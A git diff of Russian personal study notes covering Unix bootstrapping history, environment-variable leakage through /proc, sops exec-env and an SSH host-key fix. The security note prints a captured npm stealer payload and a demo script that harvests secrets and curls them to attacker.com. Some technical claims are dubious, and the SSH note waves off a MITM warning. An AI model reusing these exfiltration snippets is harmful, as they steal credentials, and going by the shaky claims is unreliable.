```
|
||||
73
10-linux/90-history/history.md
Normal file
73
10-linux/90-history/history.md
Normal file
|
|
@ -0,0 +1,73 @@
|
|||
|
||||
|
||||
## Как компилировались самые первые ядра операционных систем
|
||||
|
||||
**Ключевой момент:** До Linux было множество операционных систем, и все они встали перед одной и той же проблемой bootstrap.
|
||||
|
||||
---
|
||||
|
||||
## Цепочка: От машинного кода до Multics и Unix
|
||||
|
||||
## Самое начало (1940s-1950s): Машинный код вручную
|
||||
|
||||
Первые компьютеры (ENIAC, EDSAC) **не программировались в привычном смысле**. Они либо перепроводились вручную (ENIAC), либо использовались прямые переключатели и перфокарты. Программы писались в **чистом машинном коде в двоичной или шестнадцатеричной форме**, и люди вручную рассчитывали адреса ветвлений.[reddit+1](https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/)
|
||||
|
||||
Это был настоящий ад: один из программистов того времени вспоминал, как писал монитор для ROM, записывая **hex-коды вручную в тетрадь**.[reddit](https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/)
|
||||
|
||||
## 1950s: Ассемблеры и первые компиляторы
|
||||
|
||||
Затем появились **ассемблеры** — программы, которые переводят мнемоничные инструкции (MOVE, ADD) в машинный код. Первые ассемблеры были написаны **вручную в машинном коде**.[reddit](https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/)
|
||||
|
||||
После этого, примерно в начале 1950-х, пришли первые компиляторы высокого уровня. Они тоже были написаны в ассемблере, который уже существовал.[reddit](https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/)
|
||||
|
||||
## Multics (1964-1969): Первая сложная ОС на высокоуровневом языке
|
||||
|
||||
Bell Labs, MIT и General Electric разрабатывали **Multics** для GE-645 mainframe. Это была революционная система — она была написана на **PL/I** (высокоуровневом языке). Multics показала, что операционные системы можно писать не только на ассемблере.[wikipedia+1](https://en.wikipedia.org/wiki/History_of_Unix)
|
||||
|
||||
Однако Multics стала настолько сложной и дорогой, что Bell Labs вышла из проекта в 1969 году.
|
||||
|
||||
## Unix (1969-1970): Bootstrapping на PDP-7 и PDP-11
|
||||
|
||||
Когда Ken Thompson начинал писать Unix, он столкнулся с классической bootstrap-проблемой. Вот как это выглядело:[tuhs](https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html)
|
||||
|
||||
1. **Сначала макросы**: Thompson **не писал на самом PDP-7**, а использовал **GEMAP ассемблер на машине GE-635**. Он писал макросы для этого ассемблера, которые потом постпроцессор переводил в **бумажную ленту**, читаемую PDP-7. Эти ленты физически переносились на PDP-7 для тестирования.[tuhs](https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html)
|
||||
|
||||
2. **Простой kernel + инструменты**: Thompson вручную написал на ассемблере **примитивный Unix kernel, редактор, ассемблер и простую shell**. Всё это — на ассемблере PDP-7.[tuhs](https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html)
|
||||
|
||||
3. **Self-hosting на PDP-11**: Когда Bell Labs получили PDP-11, Thompson **перекодировал Unix kernel и базовые команды в PDP-11 assembly**. Только тогда система смогла **компилировать саму себя** на своей же машине.[tuhs](https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html)
|
||||
|
||||
4. **Переход на C (1973)**: К 1973 году Dennis Ritchie и Ken Thompson переписали **большую часть Unix kernel на C** — язык, который они сами разработали. Это была революция: **ядро операционной системы на высокоуровневом языке**, вопреки общему убеждению, что это невозможно.[startertutorials+2](https://www.startertutorials.com/blog/history-of-unix.html)
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Общий паттерн bootstrap
|
||||
|
||||
Все первые операционные системы проходили через этот цикл:
|
||||
|
||||
|Уровень|Способ компиляции|
|
||||
|---|---|
|
||||
|**Машинный код**|Люди вручную в двоичной/hex форме, перфокарты, переключатели|
|
||||
|**Ассемблеры**|Написаны вручную в машинном коде|
|
||||
|**Первые компиляторы высокого уровня**|Написаны на ассемблере|
|
||||
|**Операционные системы**|Написаны на ассемблере (или на высокоуровневом языке после C)|
|
||||
|**Self-hosting**|Система компилирует саму себя|
|
||||
|
||||
---
|
||||
|
||||
## Почему Unix смог перейти на C, а Multics — нет
|
||||
|
||||
Multics, будучи огромной системой на mainframe-е, была слишком сложна для переписывания. Unix был **сознательно** сделан **маленьким и простым**, что позволило Thompson и Ritchie переписать его на C за одно лето (1973). Это сделало Unix **портируемым** на любую машину, у которой была C-компилятор.[wikipedia+1](https://en.wikipedia.org/wiki/History_of_Unix)
|
||||
|
||||
Это было ключевой причиной успеха Unix — он был написан на языке, а не на железе.
|
||||
|
||||
1. [https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/](https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/)
|
||||
2. [https://en.wikipedia.org/wiki/Booting](https://en.wikipedia.org/wiki/Booting)
|
||||
3. [https://en.wikipedia.org/wiki/History_of_Unix](https://en.wikipedia.org/wiki/History_of_Unix)
|
||||
4. [https://en.wikipedia.org/wiki/Multics](https://en.wikipedia.org/wiki/Multics)
|
||||
5. [https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html](https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html)
|
||||
6. [https://www.startertutorials.com/blog/history-of-unix.html](https://www.startertutorials.com/blog/history-of-unix.html)
|
||||
7. [https://users.dimi.uniud.it/~antonio.dangelo/LabOS/2007/lessons/helper/history/earlyunix.html](https://users.dimi.uniud.it/~antonio.dangelo/LabOS/2007/lessons/helper/history/earlyunix.html)
|
||||
8. [http://amits-notes.readthedocs.io/en/latest/study/taoup/taoup-ch2-history.html](http://amits-notes.readthedocs.io/en/latest/study/taoup/taoup-ch2-history.html)
|
||||
9. [https://www.reddit.com/r/askscience/comments/4gjvt4/how_were_the_very_first_computer/](https://www.reddit.com/r/askscience/comments/4gjvt4/how_were_the_very_first_computer/)
|
||||
10. [https://www.redhat.com/en/blog/unix-linux-history](https://www.redhat.com/en/blog/unix-linux-history)
|
||||
0
10-linux/README.md
Normal file
0
10-linux/README.md
Normal file
244
10-linux/cybersec/direnv, environment vars.md
Normal file
244
10-linux/cybersec/direnv, environment vars.md
Normal file
|
|
@ -0,0 +1,244 @@
|
|||
# Linux Security: Environment Variables & Process Isolation
|
||||
|
||||
## Ключевая концепция
|
||||
|
||||
**Same-UID процессы могут читать environment variables друг друга через `/proc/[PID]/environ`**. Это создает attack surface для malicious packages и compromised binaries.[kernel](https://docs.kernel.org/filesystems/proc.html)
|
||||
|
||||
---
|
||||
|
||||
## Permission Model
|
||||
|
||||
## Кто может читать `/proc/[PID]/environ`
|
||||
|
||||
Согласно документации Linux kernel:[kernel](https://docs.kernel.org/filesystems/proc.html)
|
||||
|
||||
> Процесс может читать `/proc/PID/*` других процессов только при наличии **CAP_SYS_PTRACE** capability с PTRACE_MODE_READ permissions, или CAP_PERFMON capability.
|
||||
|
||||
**Но**: процессы под одним UID имеют полный доступ друг к другу.
|
||||
|
||||
bash
|
||||
|
||||
`# Проверка permissions ls -l /proc/$(pgrep sleep)/environ # -r-------- 1 wave wave 0 Nov 3 23:30 /proc/12345/environ # ^^^^ # Только owner может читать`
|
||||
|
||||
## Same-UID = Full Access (критическая уязвимость)
|
||||
|
||||
bash
|
||||
|
||||
`# Все эти процессы могут читать environment друг друга: wave 1234 firefox wave 5678 cargo run ← DATABASE_PASSWORD здесь wave 9012 npm install evil ← может прочитать PASSWORD wave 3456 code .`
|
||||
|
||||
**Демонстрация:**
|
||||
|
||||
bash
|
||||
|
||||
`# Terminal 1 export API_KEY=sk-proj-super_secret # Terminal 2 (тот же юзер) cat /proc/$(pgrep -u $USER bash | head -1)/environ | tr '\0' '\n' | grep API_KEY # API_KEY=sk-proj-super_secret ← успешно прочитан!`
|
||||
|
||||
---
|
||||
|
||||
## Реальные Векторы Атак
|
||||
|
||||
## 1. Malicious npm Packages
|
||||
|
||||
**Реальный случай 2022**: JFrog обнаружил 17 npm packages, крадущих environment variables.[jfrog+1](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)
|
||||
|
||||
Код из пакета `wafer-bind` (deobfuscated):[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)
|
||||
|
||||
javascript
|
||||
|
||||
`req = http['request']({ 'host': 'a5eb7b362adc824ed7d98433d8eae80a.m.pipedream.net', 'path': '/' + (process["env"]["npm_package_name"] || ''), 'method': "POST" }); req["write"]( Buffer["from"]( JSON["stringify"](process['env']) // ← ВСЕ переменные! )["toString"]("base64") ); req["end"]();`
|
||||
|
||||
Этот код автоматически выполняется при `npm install` и отправляет весь `process.env` на attacker server.[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)
|
||||
|
||||
## 2. Browser Extensions
|
||||
|
||||
javascript
|
||||
|
||||
`// Chrome/Firefox extension chrome.processes.getProcessInfo((processes) => { for (let pid of processes) { fetch('/proc/' + pid + '/environ') .then(data => sendToAttacker(data)); } });`
|
||||
|
||||
## 3. Compromised Development Tools
|
||||
|
||||
rust
|
||||
|
||||
`// Вредоносный cargo plugin или rust-analyzer fork use std::fs; fn exfiltrate_secrets() { for entry in fs::read_dir("/proc")? { let path = entry?.path(); if let Some(pid) = path.file_name() .and_then(|n| n.to_str()?.parse::<u32>().ok()) { if let Ok(environ) = fs::read_to_string(path.join("environ")) { for var in environ.split('\0') { if var.starts_with("AWS_") || var.starts_with("DATABASE_") { send_to_attacker(var); } } } } } }`
|
||||
|
||||
---
|
||||
|
||||
## Attack Surface Analysis
|
||||
|
||||
## ✅ Защищены от чтения
|
||||
|
||||
- **Процессы других пользователей** - Permission denied
|
||||
|
||||
- **Docker containers** (по дефолту) - разные PID namespaces
|
||||
|
||||
- **Systemd services** с `PrivateTmp=true` и `ProtectSystem=strict`
|
||||
|
||||
|
||||
## ❌ Могут читать твои секреты
|
||||
|
||||
|Вектор атаки|Механизм|Пример|
|
||||
|---|---|---|
|
||||
|npm packages|`postinstall` scripts|`wafer-bind`, `discord-lofy`[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)|
|
||||
|Browser extensions|WebExtensions API|Chrome/Firefox plugins|
|
||||
|Compromised binaries|`/proc` scanning|Backdoored `cargo`, `rust-analyzer`|
|
||||
|Python packages|`setup.py` execution|malicious `pip install`|
|
||||
|Shell scripts|`~/.bashrc` backdoor|Startup script injection|
|
||||
|
||||
---
|
||||
|
||||
## Демонстрация Реальной Атаки
|
||||
|
||||
bash
|
||||
|
||||
`# Terminal 1: запуск процесса с секретом DATABASE_PASSWORD=prod_password_123 cargo run & # Terminal 2: симуляция malicious npm package cat > /tmp/steal.sh << 'EOF' #!/bin/bash for pid in /proc/[0-9]*; do if [ -r "$pid/environ" ]; then cat "$pid/environ" 2>/dev/null | \ tr '\0' '\n' | \ grep -E 'PASSWORD|SECRET|KEY|TOKEN' >> /tmp/stolen.txt fi done curl -X POST https://attacker.com/exfil -d @/tmp/stolen.txt EOF bash /tmp/steal.sh cat /tmp/stolen.txt # DATABASE_PASSWORD=prod_password_123 ← украден!`
|
||||
|
||||
---
|
||||
|
||||
## Решение: direnv + sops
|
||||
|
||||
## Почему direnv защищает
|
||||
|
||||
**Temporal scoping**: секреты существуют только в subprocess scope конкретной директории.[github+1](https://github.com/direnv/direnv/issues/805)
|
||||
|
||||
bash
|
||||
|
||||
`# БЕЗ direnv (глобальный export) export DATABASE_PASSWORD=secret cargo run & # PID 1234 npm install evil & # PID 5678 ← может прочитать /proc/1234/environ # С direnv (process-scoped) cd ~/project direnv allow # Секреты загружаются ТОЛЬКО для subprocesses cargo run # Секреты доступны cd /tmp # direnv: unloading npm install evil # Секреты УЖЕ unloaded из environment`
|
||||
|
||||
## Process Isolation
|
||||
|
||||
bash
|
||||
|
||||
`ps aux | grep bash # wave 1234 bash (parent shell) ← НЕТ секретов # wave 5678 bash (direnv subshell) ← ЕСТЬ секреты # только для этого дерева процессов # Выход из директории cd ~ # direnv делает: unset DATABASE_PASSWORD # Теперь НИКТО не может прочитать из /proc`
|
||||
|
||||
## Установка в NixOS
|
||||
|
||||
text
|
||||
|
||||
`# home/modules/cli-tools.nix home.packages = with pkgs; [ direnv sops age ]; # home/modules/shell.nix programs.bash.initExtra = '' eval "$(direnv hook bash)" ''; programs.fish.interactiveShellInit = '' direnv hook fish | source '';`
|
||||
|
||||
## Настройка проекта
|
||||
|
||||
bash
|
||||
|
||||
`cd ~/projects/rust-app # Создай .envrc cat > .envrc << 'EOF' use_sops() { local path=${1:-secrets.yaml} eval "$(sops -d --output-type dotenv "$path" | sed 's/^/export /')" } use_sops secrets.yaml EOF direnv allow # Теперь просто: cargo run # вместо: sops exec-env secrets.yaml 'cargo run'`
|
||||
|
||||
---
|
||||
|
||||
## Дополнительные Меры Защиты
|
||||
|
||||
## 1. Hidepid Mount Option
|
||||
|
||||
text
|
||||
|
||||
`# hosts/configuration.nix fileSystems."/proc" = { device = "proc"; fsType = "proc"; options = [ "hidepid=2" "gid=proc" ]; };`
|
||||
|
||||
Скрывает `/proc` других юзеров полностью.
|
||||
|
||||
## 2. Secrecy Crate для Rust
|
||||
|
||||
text
|
||||
|
||||
`[dependencies] secrecy = "0.8" zeroize = "1.7"`
|
||||
|
||||
rust
|
||||
|
||||
`use secrecy::{Secret, ExposeSecret}; #[derive(Zeroize)] #[zeroize(drop)] struct DbPassword(String); fn main() { let password = Secret::new(DbPassword( std::env::var("DATABASE_PASSWORD").unwrap() )); // Используй через expose_secret() let conn = connect(password.expose_secret().0); // Password зануляется в памяти при drop // Не попадает в core dumps и debugging output }`
|
||||
|
||||
## 3. Namespace Isolation
|
||||
|
||||
bash
|
||||
|
||||
`unshare --pid --fork --mount-proc bash -c ' export DATABASE_PASSWORD=secret cargo run '`
|
||||
|
||||
`/proc/[PID]` не виден снаружи namespace.
|
||||
|
||||
## 4. Audit Packages
|
||||
|
||||
bash
|
||||
|
||||
`# Проверка ПЕРЕД установкой npm show suspicious-package | grep scripts # "postinstall": "node malware.js" ← RED FLAG! cargo tree | grep -i suspicious`
|
||||
|
||||
---
|
||||
|
||||
## Threat Model Summary
|
||||
|
||||
## 🔴 High Risk: Same-UID Attacks
|
||||
|
||||
text
|
||||
|
||||
`Browser + Extensions └─> может читать /proc твоего cargo run ✓ npm install evil └─> может читать /proc твоего shell ✓ Compromised VSCode extension └─> может читать /proc всех dev процессов ✓`
|
||||
|
||||
**Решение**: `direnv` + `sops` = subprocess scope
|
||||
|
||||
## 🟡 Medium Risk: Kernel Exploits
|
||||
|
||||
text
|
||||
|
||||
`Kernel vulnerability + root └─> может читать всю память (включая RAM) CAP_SYS_PTRACE процессы └─> могут ptrace и читать память`
|
||||
|
||||
**Решение**: `secrecy` crate + `zeroize` + `mlock()`
|
||||
|
||||
## 🟢 Low Risk: Different UID
|
||||
|
||||
text
|
||||
|
||||
`Процессы других юзеров └─> Permission denied для /proc/[твой PID]/ ✗`
|
||||
|
||||
**Решение**: уже защищено DAC (Discretionary Access Control)
|
||||
|
||||
---
|
||||
|
||||
## Best Practices
|
||||
|
||||
|Контекст|Решение|Пример|
|
||||
|---|---|---|
|
||||
|**Development**|`direnv` + `sops`|Per-project secrets[github](https://github.com/direnv/direnv/issues/805)|
|
||||
|**CI/CD**|GitHub Actions secrets|Encrypted in repository[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)|
|
||||
|**Production**|Vault / K8s secrets|Centralized secrets management|
|
||||
|**Docker**|`env_file` (не `ENV`)|Runtime injection, не build-time|
|
||||
|**Personal overrides**|`.env.local`|В `.gitignore`|
|
||||
|
||||
## ❌ Плохие практики
|
||||
|
||||
- `export` в `.bashrc` → глобальная утечка
|
||||
|
||||
- `.env` в git незашифрованным
|
||||
|
||||
- `ENV` в Dockerfile → попадает в image layers
|
||||
|
||||
- `--build-arg` в Docker → видно в `docker history`
|
||||
|
||||
|
||||
## ✅ Хорошие практики
|
||||
|
||||
- `direnv` → автоматический unload при выходе из директории
|
||||
|
||||
- `sops` → encryption at rest, коммитится в git
|
||||
|
||||
- `secrecy` crate → защита от Debug print
|
||||
|
||||
- `zeroize` → очистка памяти после использования
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Итого
|
||||
|
||||
Глобальные environment variables — это **attack surface** для same-UID process attacks. Зафиксировано множество реальных случаев эксплуатации (17+ npm packages только в одном исследовании).[therecord+1](https://therecord.media/malicious-npm-packages-caught-stealing-discord-tokens-environment-variables)
|
||||
|
||||
**Решение**: `direnv` + `sops` обеспечивают temporal scoping — секреты живут только пока ты в project directory и автоматически исчезают при выходе. Даже если malicious package попытается прочитать `/proc`, он найдет только пустые environment variables.
|
||||
|
||||
1. [https://www.youtube.com/watch?v=d8fXEhWy_rY](https://www.youtube.com/watch?v=d8fXEhWy_rY)
|
||||
2. [https://gist.github.com/saharshbhansali/5da604f1731c7d5ea07b2bd91552d48c](https://gist.github.com/saharshbhansali/5da604f1731c7d5ea07b2bd91552d48c)
|
||||
3. [https://publish.obsidian.md/hub/04+-+Guides,+Workflows,+&+Courses/Guides/Markdown+Syntax](https://publish.obsidian.md/hub/04+-+Guides,+Workflows,+&+Courses/Guides/Markdown+Syntax)
|
||||
4. [https://www.youtube.com/watch?v=9ft9G6JUfO0](https://www.youtube.com/watch?v=9ft9G6JUfO0)
|
||||
5. [https://pulseofmedicine.com/markdown-in-obsidian-the-ultimate-guide-for-students/](https://pulseofmedicine.com/markdown-in-obsidian-the-ultimate-guide-for-students/)
|
||||
6. [https://facedragons.com/personal-development/obsidian-markdown-cheatsheet/](https://facedragons.com/personal-development/obsidian-markdown-cheatsheet/)
|
||||
7. [https://www.xda-developers.com/here-are-some-markdown-tips-and-tricks-to-improve-your-note-taking-in-obsidian/](https://www.xda-developers.com/here-are-some-markdown-tips-and-tricks-to-improve-your-note-taking-in-obsidian/)
|
||||
8. [https://rossgriffin.com/tutorials/obsidian-basics-guide/](https://rossgriffin.com/tutorials/obsidian-basics-guide/)
|
||||
9. [https://forum.obsidian.md/t/markdown-best-practices-for-writing-symbol/42064](https://forum.obsidian.md/t/markdown-best-practices-for-writing-symbol/42064)
|
||||
10. [https://www.markdownguide.org/tools/obsidian/](https://www.markdownguide.org/tools/obsidian/)
|
||||
11. [https://docs.kernel.org/filesystems/proc.html](https://docs.kernel.org/filesystems/proc.html)
|
||||
12. [https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)
|
||||
13. [https://therecord.media/malicious-npm-packages-caught-stealing-discord-tokens-environment-variables](https://therecord.media/malicious-npm-packages-caught-stealing-discord-tokens-environment-variables)
|
||||
14. [https://github.com/direnv/direnv/issues/805](https://github.com/direnv/direnv/issues/805)
|
||||
15. [https://news.ycombinator.com/item?id=40927251](https://news.ycombinator.com/item?id=40927251)
|
||||
101
10-linux/cybersec/sops exec-env.md
Normal file
101
10-linux/cybersec/sops exec-env.md
Normal file
|
|
@ -0,0 +1,101 @@
|
|||
## Механизм работы `sops exec-env secrets.yaml`
|
||||
|
||||
**SOPS exec-env** расшифровывает зашифрованный YAML/JSON файл и передаёт все key-value пары как environment variables (переменные окружения) в **child process** (дочерний процесс), который вы указываете в команде.[temofeev+1](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/)
|
||||
|
||||
## Архитектура изоляции
|
||||
|
||||
Команда работает по следующей схеме:[github](https://github.com/getsops/sops)
|
||||
|
||||
bash
|
||||
|
||||
`sops exec-env secrets.yaml 'cargo run'`
|
||||
|
||||
1. **SOPS расшифровывает** `secrets.yaml` в памяти (никогда не пишет plaintext на диск)[github](https://github.com/getsops/sops)
|
||||
|
||||
2. **Fork текущего процесса** — создаётся child process через Unix `fork()` syscall
|
||||
|
||||
3. **Устанавливает environment variables** из расшифрованного файла в child process через `execve()` syscall
|
||||
|
||||
4. **Запускает указанную команду** (`cargo run`) с загруженными переменными[github](https://github.com/getsops/sops)
|
||||
|
||||
|
||||
Это **стандартный Unix process isolation механизм**, а не специальный container или namespace. Environment variables наследуются только в одну сторону: parent → child, но не обратно.[github](https://github.com/getsops/sops)
|
||||
|
||||
## Пример из документации
|
||||
|
||||
bash
|
||||
|
||||
`# Проверяем содержимое $ sops decrypt out.json { "database_password": "jf48t9wfw094gf4nhdf023r", "AWS_ACCESS_KEY_ID": "AKIAIOSFODNN7EXAMPLE" } # Запускаем команду с секретами $ sops exec-env out.json 'echo secret: $database_password' secret: jf48t9wfw094gf4nhdf023r # Запускаем shell с секретами $ sops exec-env out.json 'sh' sh-3.2# echo $database_password jf48t9wfw094gf4nhdf023r # Выходим из shell sh-3.2$ exit # Секрет недоступен в parent shell $ echo your password: $database_password your password:`
|
||||
|
||||
## Уничтожение видимости переменных
|
||||
|
||||
Переменные уничтожаются **автоматически при завершении child процесса**. Это происходит в момент:[github](https://github.com/getsops/sops)
|
||||
|
||||
1. **Нормального завершения команды** — `cargo run` выполнился и вернул exit code
|
||||
|
||||
2. **Crash процесса** — процесс убит сигналом (SIGTERM, SIGKILL)
|
||||
|
||||
3. **Явного exit** — вы вызвали `exit` в shell session
|
||||
|
||||
|
||||
Kernel автоматически очищает memory space процесса при его завершении, включая environment variables. Секреты не утекают в parent shell, не попадают в `/proc/<pid>/environ` после завершения, не записываются в swap (если использовать `mlock`).[github](https://github.com/getsops/sops)
|
||||
|
||||
## Преимущества для вашего backend проекта
|
||||
|
||||
В вашем justfile используется паттерн:[github](https://github.com/getsops/sops)
|
||||
|
||||
text
|
||||
|
||||
`sops_run := "sops exec-env secrets.yaml" dev: @{{sops_run}} 'cargo run'`
|
||||
|
||||
Это означает:
|
||||
|
||||
- **PostgreSQL credentials** доступны только процессу `cargo run`, но не остаются в shell history
|
||||
|
||||
- **После Ctrl+C** (завершения backend) переменные мгновенно уничтожаются kernel'ом
|
||||
|
||||
- **Другие терминалы** не видят секреты — изоляция на уровне process ID
|
||||
|
||||
- **Docker compose** внутри `sops exec-env` также получает переменные только на время выполнения[github](https://github.com/getsops/sops)
|
||||
|
||||
|
||||
## Сравнение с альтернативами
|
||||
|
||||
**Небезопасный способ**:
|
||||
|
||||
bash
|
||||
|
||||
`export DATABASE_PASSWORD=$(sops -d secrets.yaml | yq .password) cargo run`
|
||||
|
||||
Переменная остаётся в текущем shell до `unset` или закрытия терминала, видна в `env` и `/proc/self/environ`.
|
||||
|
||||
**Безопасный способ** (ваш текущий):
|
||||
|
||||
bash
|
||||
|
||||
`sops exec-env secrets.yaml 'cargo run'`
|
||||
|
||||
Переменная существует только внутри `cargo run` процесса и автоматически умирает с ним.[temofeev+1](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/)
|
||||
|
||||
## NixOS специфика
|
||||
|
||||
На NixOS с вашим setup (Hyprland + Wayland) process isolation ещё более строгий через cgroups v2. Каждый терминал в Hyprland работает в отдельном systemd user slice, что даёт дополнительную изоляцию между terminal emulator instances.[github](https://github.com/getsops/sops)
|
||||
|
||||
Для установки SOPS в NixOS:
|
||||
|
||||
bash
|
||||
|
||||
`nix-env -iA nixpkgs.sops`
|
||||
|
||||
Таким образом, `sops exec-env` использует базовый Unix механизм process forking для создания изолированного environment scope, который автоматически уничтожается kernel'ом при exit child процесса — никаких manual cleanup действий не требуется.[temofeev+1](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/)
|
||||
|
||||
1. [https://habr.com/ru/articles/590733/](https://habr.com/ru/articles/590733/)
|
||||
2. [https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/)
|
||||
3. [https://vc.ru/dev/173060-kubernetes-bezopasnoe-upravlenie-sekretami-s-gitops](https://vc.ru/dev/173060-kubernetes-bezopasnoe-upravlenie-sekretami-s-gitops)
|
||||
4. [https://habr.com/ru/companies/ru_mts/articles/656351/](https://habr.com/ru/companies/ru_mts/articles/656351/)
|
||||
5. [https://docs.ensi.tech/devops-guides/principles/mozilla-sops](https://docs.ensi.tech/devops-guides/principles/mozilla-sops)
|
||||
6. [https://pcnews.ru/blogs/pracem_sekrety_v_repozitorii_s_pomosu_helm_secrets_sops_vault_i_envsubst-1160991.html](https://pcnews.ru/blogs/pracem_sekrety_v_repozitorii_s_pomosu_helm_secrets_sops_vault_i_envsubst-1160991.html)
|
||||
7. [https://github.com/getsops/sops](https://github.com/getsops/sops)
|
||||
8. [https://www.reddit.com/r/devops/comments/1eyyqdv/storing_production_secrets_with_sops/?tl=ru](https://www.reddit.com/r/devops/comments/1eyyqdv/storing_production_secrets_with_sops/?tl=ru)
|
||||
9. [https://client.sbertech.ru/docs/public/DPM/3.7.0/common/documents/installation-guide/installation-k8s_secrets.html](https://client.sbertech.ru/docs/public/DPM/3.7.0/common/documents/installation-guide/installation-k8s_secrets.html)
|
||||
10. [https://github.com/getsops/sops/issues/1368](https://github.com/getsops/sops/issues/1368)
|
||||
0
10-linux/networking/README.md
Normal file
0
10-linux/networking/README.md
Normal file
66
10-linux/networking/troubleshooting.md
Normal file
66
10-linux/networking/troubleshooting.md
Normal file
|
|
@ -0,0 +1,66 @@
|
|||
❯ ssh kv-root@176.108.250.130
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
|
||||
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
|
||||
It is also possible that a host key has just been changed.
|
||||
The fingerprint for the ED25519 key sent by the remote host is
|
||||
SHA256:OM+qtti3S35aXRRkTn4qjtc9to7ykn0nBb5AumOTsi8.
|
||||
Please contact your system administrator.
|
||||
Add correct host key in /home/wave/.ssh/known_hosts to get rid of this message.
|
||||
Offending RSA key in /home/wave/.ssh/known_hosts:35
|
||||
Host key for 176.108.250.130 has changed and you have requested strict checking.
|
||||
Host key verification failed.
|
||||
|
||||
# SSH Host Key Changed — быстрое решение 🔑
|
||||
|
||||
## Что произошло?
|
||||
|
||||
Сервер был переустановлен → новый SSH ключ → SSH не доверяет старому
|
||||
|
||||
**Это нормально после redeploy!**
|
||||
|
||||
---
|
||||
|
||||
## Решение (2 способа) ⚡
|
||||
|
||||
## Способ 1: Удали старый ключ (быстро)
|
||||
|
||||
bash
|
||||
|
||||
`# Удали старую запись хоста ssh-keygen -R 176.108.250.130 # Подтверди (yes) # Старый ключ удалён ✅ # Теперь подключайся ssh kv-root@176.108.250.130 # Спросит "Are you sure you want to continue connecting?" # Напиши: yes # Новый ключ сохранится ✅`
|
||||
|
||||
## Способ 2: Вручную редактируй known_hosts
|
||||
|
||||
bash
|
||||
|
||||
`# Открой файл nano ~/.ssh/known_hosts # Найди строку с 176.108.250.130 (по строке 35) # Удали эту строку (Ctrl+K в nano) # Сохрани (Ctrl+O → Enter → Ctrl+X) # Подключись как в способе 1 ssh kv-root@176.108.250.130`
|
||||
|
||||
---
|
||||
|
||||
## В один лайн 🎯
|
||||
|
||||
bash
|
||||
|
||||
`ssh-keygen -R 176.108.250.130 && ssh kv-root@176.108.250.130`
|
||||
|
||||
**Это всё!** ✅
|
||||
|
||||
---
|
||||
|
||||
## Что происходит?
|
||||
|
||||
text
|
||||
|
||||
`ssh-keygen -R 176.108.250.130 ↓ Удаляет старый ED25519 ключ из ~/.ssh/known_hosts ↓ ssh kv-root@176.108.250.130 ↓ Спрашивает: "Continue? (yes/no)" ↓ yes ↓ Сохраняет новый ключ в known_hosts ✅ ↓ Готово!`
|
||||
|
||||
---
|
||||
|
||||
**Готово? Проверяй второй сервер!** 🚀
|
||||
|
||||
Если ещё какие-то ошибки — докладывай!
|
||||
|
||||
команда для вставки ssh публичного ключа с локалки:
|
||||
|
||||
`nano /root/.ssh/authorized_keys`
|
||||
Loading…
Add table
Add a link
Reference in a new issue